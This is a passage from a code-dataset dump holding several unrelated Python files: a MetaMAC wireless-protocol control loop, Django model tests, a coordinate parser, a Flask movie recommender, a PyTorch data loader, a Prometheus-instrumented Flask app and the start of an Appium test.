suite.weights[i], suite.protocols[i].name))\n\t\t\tif i == 0 :\n\t\t\t\tstdout.write(\"\\r%c %5.3f %s -- \" % (active_string, suite.weights[i], suite.protocols[i].name))\n\t\t\telse:\n\t\t\t\tstdout.write(\"%c %5.3f %s -- \" % (active_string, suite.weights[i], suite.protocols[i].name))\n\t\t\tstdout.flush()\n\n\t\tglobal socket_visualizer\n\t\t#ip_address = controller.net.get_iface_ip_addr(interface)\n\t\tiface = 'wlan0'\n\t\tip_address = [inetaddr['addr'] for inetaddr in ni.ifaddresses(iface)[ni.AF_INET]]\n\t\tstock_data = {\n 'node_ip_address': ip_address,\n 'active': suite.active_protocol\n }\n\n\t\t#send information to visualizer outside the laboratory\n\t\t#socket_visualizer.send(b'client message to server1')\n\t\tsocket_visualizer.send_json(stock_data)\n\t\tmessage = socket_visualizer.recv()\n\t\t#print(\"Received reply [\" + str(message) + \"]\")\n\n\t#void queue_multipush(struct metamac_queue *queue, struct metamac_slot *slots, size_t count)\n\tdef queue_multipush(story_channel, story_file, story_channel_len, story_channel_len_diff):\n\n\t\tai = story_channel_len - story_channel_len_diff\n\t\twhile ai < story_channel_len :\n\n\t\t\t# print(\"%d - %d : %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d\" %\n\t\t\t# ( ai, story_channel_len_diff, int(story_channel[ai].slot_num), int(story_channel[ai].read_num), int(story_channel[ai].host_time),\n\t\t\t# story_channel[ai].tsf_time, story_channel[ai].slot_index, story_channel[ai].slots_passed,\n\t\t\t# (story_channel[ai].filler), (story_channel[ai].packet_queued), (story_channel[ai].transmitted),\n\t\t\t# (story_channel[ai].transmit_success), (story_channel[ai].transmit_other),\n\t\t\t# (story_channel[ai].bad_reception), (story_channel[ai].busy_slot), (story_channel[ai].channel_busy) ))\n\n\t\t\tstory_file.write(\"%d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d\\n\" %\n\t\t\t( int(story_channel[ai].slot_num), int(story_channel[ai].read_num), int(story_channel[ai].host_time),\n\t\t\tstory_channel[ai].tsf_time, story_channel[ai].slot_index, story_channel[ai].slots_passed,\n\t\t\t(story_channel[ai].filler), (story_channel[ai].packet_queued), (story_channel[ai].transmitted),\n\t\t\t(story_channel[ai].transmit_success), (story_channel[ai].transmit_other),\n\t\t\t(story_channel[ai].bad_reception), (story_channel[ai].busy_slot), (story_channel[ai].channel_busy) ))\n\n\t\t\tai += 1\n\n\t\t# if (logfile != NULL) {\n\t\t# \t\t\tfprintf(logfile, \"%llu,%d,%llu,%llu,%llu,%d,%d,%01x,%01x,%01x,%01x,%01x,%01x,%01x,%01x,%s\",\n\t\t# \t\t\t\t(unsigned long long) slots[i].slot_num,\n\t\t# \t\t\t\tsuite->slot_offset,\n\t\t# \t\t\t\t(unsigned long long) slots[i].read_num,\n\t\t# \t\t\t\t(unsigned long long) slots[i].host_time,\n\t\t# \t\t\t\t(unsigned long long) slots[i].tsf_time,\n\t\t# \t\t\t\tslots[i].slot_index,\n\t\t# \t\t\t\tslots[i].slots_passed,\n\t\t# \t\t\t\tslots[i].filler,\n\t\t# \t\t\t\tslots[i].packet_queued,\n\t\t# \t\t\t\tslots[i].transmitted,\n\t\t# \t\t\t\tslots[i].transmit_success,\n\t\t# \t\t\t\tslots[i].transmit_other,\n\t\t# \t\t\t\tslots[i].bad_reception,\n\t\t# \t\t\t\tslots[i].busy_slot,\n\t\t# \t\t\t\tslots[i].channel_busy,\n\t\t# \t\t\t\tsuite->protocols[suite->active_protocol].name);\n #\n\t\t# \t\t\tfor (int i = 0; i < suite->num_protocols; i++) {\n\t\t# \t\t\t\tfprintf(logfile, \",%e\", suite->weights[i]);\n\t\t# \t\t\t}\n #\n\t\t# \t\t\tfprintf(logfile, \"\\n\");\n\t\t# \t\t}\n\n\n\n\n\tdef acquire_slots_channel(story_channel):\n\t\treading_thread = threading.currentThread()\n\t\tb43_phy = None\n\t\tb43 = B43(b43_phy)\n\t\tslot_time = 2200 #(us)\n\n\t\tslot_num = 0\n\t\tread_num = 0\n\t\tslot_index = 0 #(int)\n\t\tlast_slot_index = 0 #(int)\n\t\ttsf = 0 #(uint64_t)\n\t\tlast_tsf = 0 #(uint64_t)\n\t\tinitial_tsf = 0 #(uint64_t)\n\n\t\tstart_time = monotonic_time() #(timespec)\n\t\tloop_end = 0 #(uint64_t)\n\n\t\tinitial_tsf = b43.getTSFRegs()\n\t\ttsf = initial_tsf\n\t\tslot_index = b43.shmRead16(b43.B43_SHM_REGS, COUNT_SLOT) & 0x7\n\t\tslot_num = (slot_index + 1) % 8\n\n\t\t# metamac control loop\n\t\t# while not controller.is_stopped() :\n\t\t# \tmsg = controller.recv(timeout=1)\n\t\twhile getattr(reading_thread, \"do_run\", True):\n\n\t\t\tcurrent_time = monotonic_time() #(timespec)\n\t\t\tloop_start = int((current_time.tv_sec - start_time.tv_sec) * 1000000 + (current_time.tv_nsec - start_time.tv_nsec) / 1000) #(uint64_t )\n\t\t\tlast_tsf = tsf\n\t\t\ttsf = b43.getTSFRegs()\n\t\t\tlast_slot_index = slot_index\n\n\n\t\t\t''' replaced the following part with UPI get_measurements_periodic\n\t\t\tSTART\n\t\t\t'''\n\n\t\t\tslot_index = b43.shmRead16(b43.B43_SHM_REGS, COUNT_SLOT) & 0x7\n\n\t\t\tpacket_queued = b43.shmRead16(b43.B43_SHM_SHARED, PACKET_TO_TRANSMIT) #(uint)\n\t\t\ttransmitted = b43.shmRead16(b43.B43_SHM_SHARED, MY_TRANSMISSION) #(uint)\n\t\t\ttransmit_success = b43.shmRead16(b43.B43_SHM_SHARED, SUCCES_TRANSMISSION) #(uint)\n\t\t\ttransmit_other = b43.shmRead16(b43.B43_SHM_SHARED, OTHER_TRANSMISSION) #(uint)\n\t\t\tbad_reception = b43.shmRead16(b43.B43_SHM_SHARED, BAD_RECEPTION) #(uint)\n\t\t\tbusy_slot = b43.shmRead16(b43.B43_SHM_SHARED, BUSY_SLOT) #(uint)\n\n\t\t\tend_slot_index = b43.shmRead16(b43.B43_SHM_REGS, COUNT_SLOT) & 0x7 #(int)\n\n\t\t\t'''\n\t\t\tSTOP\n\t\t\t'''\n\t\t\tchannel_busy = 0 #(uint)\n\t\t\tif (FLAG_USE_BUSY) :\n\t\t\t\tchannel_busy = (transmitted & ~transmit_success) |((transmit_other | bad_reception | busy_slot) & ~(transmitted & transmit_success))\n\t\t\telse:\n\t\t\t\tchannel_busy = (transmitted & ~transmit_success) |((transmit_other | bad_reception) & ~(transmitted & transmit_success))\n\n\t\t\tslots_passed = slot_index - last_slot_index #(int)\n\t\t\tif slots_passed < 0:\n\t\t\t\tslots_passed = slots_passed + 8\n\n\t\t\tactual = tsf - last_tsf #int64_t actual = ((int64_t)tsf) - ((int64_t)last_tsf);\n\n\t\t\t#print(\" read %d - last_tsf %d - tsf %d - diff %d: %x, %x, %x, %x, %x, %x, %x\" % (read_num, last_tsf, tsf, actual, packet_queued, transmitted, transmit_success, transmit_other, bad_reception, busy_slot, end_slot_index))\n\n\t\t\t# if (actual < 0 or actual > 200000) :\n\t\t\t# \tprint(\"Received TSF difference of %lld between consecutive reads.\\n\", actual)\n\t\t\t# \t# Unresolved bug with hardware/firmware/kernel driver causes occasional large jumps\n\t\t\t# \t#in the TSF counter value. In this situation use time from the OS timer instead.\n\t\t\t# \t#actual = ((int64_t)loop_start) - ((int64_t)loop_end)\n\t\t\t# \tactual = loop_start - loop_end\n\t\t\t# min_diff = abs(actual - slots_passed * slot_time) #(int64_t )\n\t\t\t# #Suppose last_slot_index is 7 and slot_index is 5. Then, since the slot\n\t\t\t# #is a value mod 8 we know the actual number of slots which have passed is\n\t\t\t# #>= 6 and congruent to 6 mod 8. Using the TSF counter from the network card,\n\t\t\t# #we find the most likely number of slots which have passed. */\n\t\t\t# diff = abs(actual - (slots_passed + 8) * slot_time) #(int64_t )\n\t\t\t# while (diff < min_diff) :\n\t\t\t# \tslots_passed += 8\n\t\t\t# \tmin_diff = diff\n\t\t\t# \tdiff = abs(actual - (slots_passed + 8) * slot_time)\n\t\t\t# #Because the reads are not atomic, the values for the slot\n\t\t\t# #indicated by slot_index are effectively unstable and could change between\n\t\t\t# #the reads for the different feedback variables. Thus, only the last 7 slots\n\t\t\t# #can be considered valid. If more than 7 slots have passed, we have to inject\n\t\t\t# #empty slots to maintain the synchronization. Note that the 7th most recent\n\t\t\t# #slot is at an offset of -6 relative to the current slot, hence the -1. */\n\t\t\tslot_offset = slots_passed #(int)\n\t\t\t# #int max_read_offset = (slot_index <= end_slot_index) ? slot_index - end_slot_index + 7 : slot_index - end_slot_index - 1;\n\t\t\t# if (slot_index <= end_slot_index) :\n\t\t\t# \tmax_read_offset = slot_index - end_slot_index + 7\n\t\t\t# else:\n\t\t\t# \tmax_read_offset = slot_index - end_slot_index - 1\n\t\t\t#\n\t\t\t# while slot_offset > max_read_offset:\n\t\t\t# \tslot_offset-= 1\n\t\t\t# \t#Empty filler slot\n\t\t\t# \tslot_num+=1\n\n\t\t\tslots = [ metamac_slot() for i in range(8)] #(struct metamac_slot) |!!! warning for memory leak\n\t\t\tai = 0\n\t\t\twhile slot_offset > 0 :\n\t\t\t\tslot_offset-=1\n\t\t\t\tsi = slot_index - slot_offset #(int)\n\t\t\t\tif si < 0 :\n\t\t\t\t\tsi = si + 8\n\n\t\t\t\tslot_num+=1\n\t\t\t\tslots[ai].slot_num = slot_num\n\t\t\t\tslots[ai].read_num = read_num\n\t\t\t\tslots[ai].host_time = loop_start\n\t\t\t\tslots[ai].tsf_time = tsf\n\t\t\t\tslots[ai].slot_index = slot_index\n\t\t\t\tslots[ai].slots_passed = slots_passed\n\t\t\t\tslots[ai].filler = 0\n\t\t\t\tslots[ai].packet_queued = (packet_queued >> si) & 1\n\t\t\t\tslots[ai].transmitted = (transmitted >> si) & 1\n\t\t\t\tslots[ai].transmit_success = (transmit_success >> si) & 1\n\t\t\t\tslots[ai].transmit_other = (transmit_other >> si) & 1\n\t\t\t\tslots[ai].bad_reception = (bad_reception >> si) & 1\n\t\t\t\tslots[ai].busy_slot = (busy_slot >> si) & 1\n\t\t\t\tslots[ai].channel_busy = (channel_busy >> si) & 1\n\t\t\t\tai+=1\n\n\t\t\tfor i in range(ai):\n\t\t\t# \t#save in dynamic array\n\t\t\t \tstory_channel.append(slots[i])\n\n\t\t\t# for i in range(ai):\n\t\t\t# \tprint(\"%d, %d, %d, \" % ( int(story_channel[i].slot_num), int(story_channel[i].read_num), int(story_channel[i].host_time) ))\n\n\t\t\tcurrent_time = monotonic_time() #(timespec)\n\t\t\tloop_end = int((current_time.tv_sec - start_time.tv_sec) * 1000000 + (current_time.tv_nsec - start_time.tv_nsec) / 1000)\n\t\t\tdelay = (loop_start + read_interval - loop_end) #(int64_t) #delay = ((int64_t)loop_start) + read_interval - ((int64_t)loop_end) #(int64_t)\n\t\t\t#print(\"ai %d - loop_start %d - loop_end %d - diff %d - delay %d - story_channel_len %d\" % (ai, loop_start, loop_end, loop_end-loop_start, delay, len(story_channel) ))\n\t\t\t# we cant make dalay minor of ~7ms\n\t\t\tif (delay > 0):\n\t\t\t\t#usleep(delay)\n\t\t\t\tlibc.usleep(int(delay))\n\n\t\t\t# current_time_delay = monotonic_time() #(timespec)\n\t\t\t# loop_end_delay = int((current_time_delay.tv_sec - current_time.tv_sec) * 1000000 + (current_time_delay.tv_nsec - current_time.tv_nsec) / 1000)\n\t\t\t# print(\" delay %d\" % (loop_end_delay))\n\n\t\t\tread_num+=1\n\n\n\t#Performs the computation for emulating the suite of protocols\n\t#for a single slot, and adjusting the weights.\n\t#void update_weights(struct protocol_suite* suite, struct metamac_slot current_slot)\n\tdef update_weights(suite, current_slot, ai):\n\t\t#Accounting for the fact that the slots that TDMA variants transmit on are\n\t\t# not necessarily aligned to the slot indices provided by the board. For instance,\n\t\t# one would expect that TDMA-4 slot 1 would transmit on slot indexes 1 and 5, but\n\t\t# this is not necessarily true. Offset between transmissions will be 4, but not\n\t\t# necessarily aligned to the slot indexes.\n\n\t\t# print(\"%d - %d : %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d, %d\" %\n\t\t# \t( ai, story_channel_len_diff, int(story_channel[ai].slot_num), int(story_channel[ai].read_num), int(story_channel[ai].host_time),\n\t\t# \tstory_channel[ai].tsf_time, story_channel[ai].slot_index, story_channel[ai].slots_passed,\n\t\t# \t(story_channel[ai].filler), (story_channel[ai].packet_queued), (story_channel[ai].transmitted),\n\t\t# \t(story_channel[ai].transmit_success), (story_channel[ai].transmit_other),\n\t\t# \t(story_channel[ai].bad_reception), (story_channel[ai].busy_slot), (story_channel[ai].channel_busy) ))\n\n\n\t\t#if (suite.protocols[suite.active_protocol].emulator == tdma_emulate && current_slot.transmitted):\n\t\tif (current_slot.transmitted):\n\t\t\t#Update slot_offset\n\t\t\tparams = suite.protocols[suite.active_protocol].parameter\n\t\t\tneg_offset = (current_slot.slot_num - params.frame_offset - params.slot_assignment) % params.frame_length\n\t\t\tsuite.slot_offset = (params.frame_length - neg_offset) % params.frame_length\n\n\t\t\t#If there is no packet queued for this slot, consider all protocols to be correct\n\t\t\t#and thus the weights will not change\n\t\tif (current_slot.packet_queued) :\n\t\t\t#z represents the correct decision for this slot - transmit if the channel\n\t\t\t#is idle (1.0) or defer if it is busy (0.0)\n\n\t\t\tz=0.0\n\t\t\tif (not current_slot.channel_busy):\n\t\t\t\tz = 1.0\n\n\n\t\t\tfor p in range(suite.num_protocols) :\n\t\t\t\t# d is the decision of this component protocol - between 0 and 1\n#\t\t\t\td = suite.protocols[p].emulator(suite->protocols[p].parameter,\n#\t\t\t\t\tcurrent_slot.slot_num, suite->slot_offset, suite->last_slot);\n\n\t\t\t\td = tdma_emulate(suite.protocols[p].parameter, current_slot.slot_num, suite.slot_offset)\n\n#\t\t\t\tstdout.write(\"[%d] d=%e, z=%e \\n\" % (p, d, z,))\n\n\t\t\t\texponent = suite.eta * math.fabs(d - z)\n\t\t\t\tsuite.weights[p] *= math.exp(-exponent)\n\n\t\t\t\tif suite.weights[p]<0.01:\n\t\t\t\t\tsuite.weights[p]=0.01\n\n\n\n\t\t\t#Normalize the weights\n\t\t\ts = 0\n\t\t\tfor p in range(suite.num_protocols):\n\t\t\t\ts += suite.weights[p]\n\t\t\tfor p in range(suite.num_protocols):\n\t\t\t\tsuite.weights[p] /= s\n\n\n#\t\t\tfor p in range(suite.num_protocols):\n#\t\t\t\tstdout.write(\"%5.3f\\n\" % (suite.weights[p]))\n\n\t\tsuite.last_slot = current_slot\n\n\tsocket_visualizer = None\n\n\tdef socket_visualizer():\n\t\tglobal socket_visualizer\n\t\tport = \"8300\"\n\n\t\tprint('start socket visualizer')\n\n\t\tcontext = zmq.Context()\n\t\tsocket_visualizer = context.socket(zmq.REQ)\n\t\t#socket_visualizer.connect(\"tcp://localhost:%s\" % port)\n\t\tsocket_visualizer.connect(\"tcp://10.8.8.6:%s\" % port)\n\n\n\t''' Main program '''\n\n\t# # control loop\n # print(\"Local ctrl program started: {}\".format(controller.name))\n # while not controller.is_stopped():\n # msg = controller.recv(timeout=1)\n # if msg:\n # ch = msg[\"new_channel\"]\n # print(\"Schedule get monitor to {} in 5s:\".format(ch))\n # UPI_myargs = {'interface' : 'wlan0', 'measurements' : [UPI_R.REGISTER_1, UPI_R.REGISTER_2, UPI_R.NUM_TX_DATA_FRAME, UPI_R.NUM_RX_ACK, UPI_R.NUM_RX_ACK_RAMATCH, UPI_R.BUSY_TYME , UPI_R.TSF, UPI_R.NUM_RX_MATCH] }\n # result = controller.delay(5).radio.get_monitor(UPI_myargs)\n # controller.send_upstream({\"myResult\": result})\n\n\tif len(sys.argv) < 2:\n\t\tsys.exit('Usage: %s eta_value' % sys.argv[0])\n\n\tsuite = protocol_suite()\n\tnum_protocols = 4\n\t#eta = 0.5\n\teta = float(sys.argv[1])\n\tprint('eta = %f' % eta)\n\n\tsocket_visualizer()\n\n\tprotocols = [protocol() for i in range(num_protocols)]\n\n\t#setting protocol structure 0\n\tprotocols[0].id = 1\n\tprotocols[0].name =b'TDMA (slot 0)'\n\tprotocols[0].fsm_path = b'tdma-4.txt'\n\t#protocols[0].fsm_params = '/params'\n\tprotocols[0].fsm_params[0].num = 12\n\tprotocols[0].fsm_params[0].value = 4\n\tprotocols[0].fsm_params[1].num = 11\n\tprotocols[0].fsm_params[1].value = 0\n\tprotocols[0].emulator = b'tdma'\n\t#protocols[0].parameter = 'params';\n\tprotocols[0].parameter.frame_offset = 0\n\tprotocols[0].parameter.frame_length = 4\n\tprotocols[0].parameter.slot_assignment = 0\n\n\tprotocols[1].id = 2\n\tprotocols[1].name = b'TDMA (slot 1)'\n\tprotocols[1].fsm_path = b'tdma-4.txt'\n\t#protocols[0].fsm_params = '/params'\n\tprotocols[1].fsm_params[0].num = 12\n\tprotocols[1].fsm_params[0].value = 4\n\tprotocols[1].fsm_params[1].num = 11\n\tprotocols[1].fsm_params[1].value = 1\n\tprotocols[1].emulator = b'tdma'\n\t#protocols[0].parameter = 'params';\n\tprotocols[1].parameter.frame_offset = 0\n\tprotocols[1].parameter.frame_length = 4\n\tprotocols[1].parameter.slot_assignment = 1\n\n\tprotocols[2].id = 3\n\tprotocols[2].name = b'TDMA (slot 3)'\n\tprotocols[2].fsm_path = b'tdma-4.txt'\n\t#protocols[0].fsm_params = '/params'\n\tprotocols[2].fsm_params[0].num = 12\n\tprotocols[2].fsm_params[0].value = 4\n\tprotocols[2].fsm_params[1].num = 11\n\tprotocols[2].fsm_params[1].value = 2\n\tprotocols[2].emulator = b'tdma'\n\t#protocols[0].parameter = 'params';\n\tprotocols[2].parameter.frame_offset = 0\n\tprotocols[2].parameter.frame_length = 4\n\tprotocols[2].parameter.slot_assignment = 2\n\n\tprotocols[3].id = 4\n\tprotocols[3].name = b'TDMA (slot 4)'\n\tprotocols[3].fsm_path = b'tdma-4.txt'\n\t#protocols[0].fsm_params = '/params'\n\tprotocols[3].fsm_params[0].num = 12\n\tprotocols[3].fsm_params[0].value = 4\n\tprotocols[3].fsm_params[1].num = 11\n\tprotocols[3].fsm_params[1].value = 3\n\tprotocols[3].emulator = b'tdma'\n\t#protocols[0].parameter = 'params';\n\tprotocols[3].parameter.frame_offset = 0\n\tprotocols[3].parameter.frame_length = 4\n\tprotocols[3].parameter.slot_assignment = 3\n\n\t#protocols suite INIT VALUES\n\tsuite.num_protocols = num_protocols\n\n\t#number of current active protocol from protocol structure\n\tsuite.active_protocol = 1\n\n\t#number of protocol present in the specified slot\n\tsuite.slots[0] = 1\n\tsuite.slots[1] = 1\n\n\t#number of current active slot\n\tsuite.active_slot = 1\n\n\tsuite.slot_offset = 0\n\n\tsuite.protocols[0] = protocols[0]\n\tsuite.protocols[1] = protocols[1]\n\tsuite.protocols[2] = protocols[2]\n\tsuite.protocols[3] = protocols[3]\n\tfor p in range(4) :\n\t\tsuite.weights[p] = 1.0 / num_protocols\n\n\tsuite.eta = eta\n\tsuite.last_slot.slot_num = -1\n\tsuite.last_slot.packet_queued = 0\n\tsuite.last_slot.transmitted = 0\n\tsuite.last_slot.channel_busy = 0\n\tsuite.cycle = 0\n\n\tstory_channel = [] # [ metamac_slot() ]\n\tglobal story_file\n\tglobal reading_thread\n\t# slots = [ metamac_slot() for i in range(8)]\n\t# story_channel.append(slots[0])\n\t# share_queue = Queue()\n\n\treading_thread = threading.Thread(target=acquire_slots_channel, args=(story_channel,))\n\treading_thread.start()\n\t# p = Process(target=acquire_slots_channel, args=(share_queue,))\n\t# p.start()\n\t#p.join()\n\n\ttime.sleep(2)\n\n\n\tb43_phy = None\n\tb43 = B43(b43_phy)\n\n\tstory_file = open(\"story.csv\", \"w\")\n\tstory_file.write(\"slot_num, read_num, host_time, tsf_time, slot_index, slots_passed, \\\n\t filler, packet_queued, transmitted, transmit_success, transmit_other, \\\n\t bad_reception, busy_slot, channel_busy \\n\")\n\n\tstory_channel_len = 0\n\t# metamac control loop\n\t# while not controller.is_stopped() :\n\t# \tmsg = controller.recv(timeout=1)\n\n\t#metamac_loop_break = 0\n\tlast_update_time = monotonic_time()\n\tloop = 0\n\n\twhile True: #(metamac_loop_break == 0)\n\t\t#print(\"Main thread\")\n\t\ttime.sleep(0.1)\n\n\t\tif( (len(story_channel) - story_channel_len) > 60):\n\t\t\tstory_channel_len_old = len(story_channel)-60\n\t\telse:\n\t\t\tstory_channel_len_old = story_channel_len\n\n\t\tstory_channel_len = len(story_channel)\n\t\tstory_channel_len_diff = story_channel_len - story_channel_len_old\n\t\t#print('\\n\\nstory_channel len %d - diff %d - last slot num %d' % (story_channel_len, story_channel_len_diff, story_channel[story_channel_len-1].slot_num))\n\n\t\t#store channel evolution on file\n\t\tif story_channel_len_diff > 0 :\n\t\t#\n # \t# struct metamac_slot slots[16];\n # \t# size_t count = queue_multipop(queue, slots, ARRAY_SIZE(slots));\n #\n\t\t\tqueue_multipush(story_channel, story_file, story_channel_len, story_channel_len_diff)\n\n\t\t\tfor i in range((story_channel_len - story_channel_len_diff), story_channel_len ):\n\t\t\t\t#print('\\n\\n i %d -story_channel len %d - diff %d - last slot num %d' % (i, story_channel_len, story_channel_len_diff, story_channel[story_channel_len-1].slot_num))\n\t\t\t\tupdate_weights(suite, story_channel[i], i)\n\n\n\t\t#Update running protocol\n\t\t#if (!(flags & FLAG_READONLY)) :\n\t\tif (not FLAG_READONLY):\n\t\t\tmetamac_evaluate(b43, suite)\n\n\t\tif FLAG_VERBOSE :\n\t\t\tcurrent_time = monotonic_time() #(timespec)\n\t\t\ttimediff = (current_time.tv_sec - last_update_time.tv_sec) * 1000000 + (current_time.tv_nsec - last_update_time.tv_nsec) / 1000\n\t\t\t# Update display every 1 second\n\t\t\tif (timediff > 1000000) :\n\t\t\t\tmetamac_display(loop, suite)\n\t\t\t\tloop+=1\n\t\t\t\tlast_update_time = current_time\n\n\nif __name__ == \"__main__\":\n\tmy_local_control_program()\n","sub_path":"Get_Started_Examples/Advanced-WMP-Example/separated_metamac_logic.py","file_name":"separated_metamac_logic.py","file_ext":"py","file_size_in_byte":29368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"163894941","text":"from .factories import TaskFactory, SubTaskFactory, AccrualFactory, PccFactory\nfrom ..models import Task, SubTask, Accrual, Pcc\n\nimport pytest\n\n\n@pytest.mark.django_db\nclass TestContractModel:\n def test_model_instance(self):\n model = TaskFactory.create()\n assert isinstance(model, Task) == True\n\n\n@pytest.mark.django_db\nclass TestContractChangeModel:\n def test_model_instance(self):\n model = SubTaskFactory.create()\n assert isinstance(model, SubTask) == True\n\n\n@pytest.mark.django_db\nclass TestContractorModel:\n def test_model_instance(self):\n model = AccrualFactory.create()\n assert isinstance(model, Accrual) == True\n\n\n@pytest.mark.django_db\nclass TestContractorContactModel:\n def test_model_instance(self):\n model = PccFactory.create()\n assert isinstance(model, Pcc) == True\n\n","sub_path":"tbpc/team_mgt/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"544350813","text":"import pandas as pd\nimport re\nimport matplotlib.pyplot as plt\n\ndata = pd.read_csv(\"testhoreca.csv\",usecols=[6])\n\ndef hasNumbers(inputString):\n return bool(re.search(r'\\d', inputString))\n\nlong = []\nlat = []\nnumber = \"\"\nspatie = False\nfor x in data[\"LOCATIE_WKT\"]:\n x = x.replace(\"POINT (\", \"\").replace(\")\", \" \")\n spatie = False\n for numb in x:\n if numb == \" \":\n if spatie == False:\n long.append(float(number))\n if spatie == True:\n lat.append(float(number))\n spatie = True\n number = \"\"\n if numb != \" \":\n number += numb\n\n\nd = {'long': long, 'lat': lat}\ndf = pd.DataFrame(data=d)\n\ndf.to_csv(\"horecacoor.csv\",index=False)\n\n","sub_path":"project code and data/horecacoor.py","file_name":"horecacoor.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"329149836","text":"\nimport numpy as np\nimport pandas as pd\nfrom flask import Flask, render_template, request\n# libraries for making count matrix and similarity matrix\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\n#Import TfIdfVectorizer from scikit-learn\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n# Import linear_kernel\nimport sys\nfrom sklearn.metrics.pairwise import linear_kernel\n\ndef cosine_simi():\n df = pd.read_csv('data.csv')\n tfidf = TfidfVectorizer(stop_words='english')\n #Replace NaN with an empty string\n df['overview'] = df['overview'].fillna('')\n #Construct the required TF-IDF matrix by fitting and transforming the data\n tfidf_matrix = tfidf.fit_transform(df['overview'])\n # Compute the cosine similarity matrix\n cosine_sim = linear_kernel(tfidf_matrix, tfidf_matrix)\n return cosine_sim\n\ndef get_recommendations(title, cosine_sim=cosine_simi()):\n df = pd.read_csv('data.csv')\n\n if title not in df['title'].unique():\n return('This movie is not in our database.\\nPlease check if you spelled it correct.')\n else:\n\t indices = pd.Series(df.index, index=df['title']).drop_duplicates()\n\t # Get the index of the movie that matches the title\n\t idx = indices[title]\n\n\t # Get the pairwsie similarity scores of all movies with that movie\n\t sim_scores = list(enumerate(cosine_sim[idx]))\n\n\t # Sort the movies based on the similarity scores\n\t sim_scores = sorted(sim_scores, key=lambda x: x[1], reverse=True)\n\n\t # Get the scores of the 10 most similar movies\n\t sim_scores = sim_scores[1:11]\n\n\t # Get the movie indices\n\t movie_indices = [i[0] for i in sim_scores]\n\n\t # Return the top 10 most similar movies\n\t #return df['title'].iloc[movie_indices]\n\n#comment\n\t # making an empty list that will containg all 10 movie recommendations\n\t l = []\n\t for i in range(len(sim_scores)):\n\t a = sim_scores[i][0]\n\t l.append(df['title'][a])\n\t return l\n\napp = Flask(__name__)\n\n@app.route('/')\ndef home():\n return render_template('home.html')\n\n@app.route(\"/recommend\")\ndef recommend():\n title = request.args.get('title')\n recommendation = get_recommendations(title)\n #print(recommendation, file=sys.stderr)\n if type(recommendation)==type('string'):\n return render_template('recommend.html',movie=title,r=recommendation,t='s')\n else:\n return render_template('recommend.html',movie=title,r =recommendation,t='l')\n \n \n\nif __name__ == '__main__':\n app.run(debug=True, threaded=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"508777215","text":"import os\n\nimport torch\nimport torchvision.transforms as transforms\nimport torchvision.datasets as datasets\n\n\ndef data_loader(root, batch_size=256, workers=1, pin_memory=True):\n traindir = os.path.join(root, 'bias')\n valdir = os.path.join(root, 'test')\n normalize = transforms.Normalize(mean=[0.45, 0.45, 0.45],\n std=[0.225, 0.225, 0.225])\n\n train_dataset = datasets.ImageFolder(\n traindir,\n transforms.Compose([\n transforms.RandomResizedCrop(224),\n transforms.ToTensor(),\n normalize\n ])\n )\n train_dataset2 = datasets.ImageFolder(\n traindir,\n transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n normalize\n ])\n )\n val_dataset = datasets.ImageFolder(\n valdir,\n transforms.Compose([\n transforms.Resize(256),\n transforms.CenterCrop(224),\n transforms.ToTensor(),\n normalize\n ])\n )\n train_loader = torch.utils.data.DataLoader(\n train_dataset,\n batch_size=batch_size,\n shuffle=True,\n num_workers=workers,\n pin_memory=pin_memory\n )\n train_loader2 = torch.utils.data.DataLoader(\n train_dataset2,\n batch_size=256,\n shuffle=True,\n num_workers=workers,\n pin_memory=pin_memory\n )\n val_loader = torch.utils.data.DataLoader(\n val_dataset,\n batch_size=256,\n shuffle=True,\n num_workers=workers,\n pin_memory=pin_memory\n )\n return train_loader, val_loader, train_loader2","sub_path":"classification/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"57038810","text":"from flask import Flask\nfrom api_wrapper import api_call\nfrom flasgger import Swagger, swag_from\nimport settings\n\n\napp = Flask(__name__)\nswagger = Swagger(app)\n\n# Assume not running via wsgi\nif __name__ == '__main__':\n from prometheus_flask_exporter import PrometheusMetrics\n metrics = PrometheusMetrics(app, group_by='url_rule', defaults_prefix=settings.METRICS_PREFIX)\n# Assume running via wsgi\nelse:\n from prometheus_flask_exporter.multiprocess import GunicornPrometheusMetrics\n metrics = GunicornPrometheusMetrics(app, group_by='url_rule', defaults_prefix=settings.METRICS_PREFIX)\n\nmetrics.info('app_info', settings.APP_NAME)\n\n\n@swag_from('./swagger/test.yaml')\n@app.route('/test/')\n@api_call()\ndef test(t):\n return t\n\n\n@app.route('/health')\n@api_call()\n@metrics.do_not_track()\ndef health():\n return True\n\n\nif __name__ == '__main__':\n app.run('0.0.0.0', port=80, debug=False)\n","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"427927727","text":"#!/usr/bin/env python\n# _*_coding:utf-8_*_\n\nfrom AppTest.Common import *\ntitle = \"new_fl\"\n\n\nclass MyTestCase(unittest.TestCase):\n @classmethod\n def setUp(self):\n self.case_name = os.path.basename(__file__)\n self.driver = deviceDriver.mydriver(self)\n BaseOperate.installApp(self, Content.app_name)\n\n @classmethod\n def tearDown(self):\n BaseOperate.report_screen_shot(self, self.case_name)\n BaseOperate.uninstallApp(self, PhoneControl.package_name)\n BaseOperate.quit(self)\n\n def test_step(self):\n u\"\"\"在通讯录界面搜索好友\"\"\"\n logger.info(\"打开App\")\n 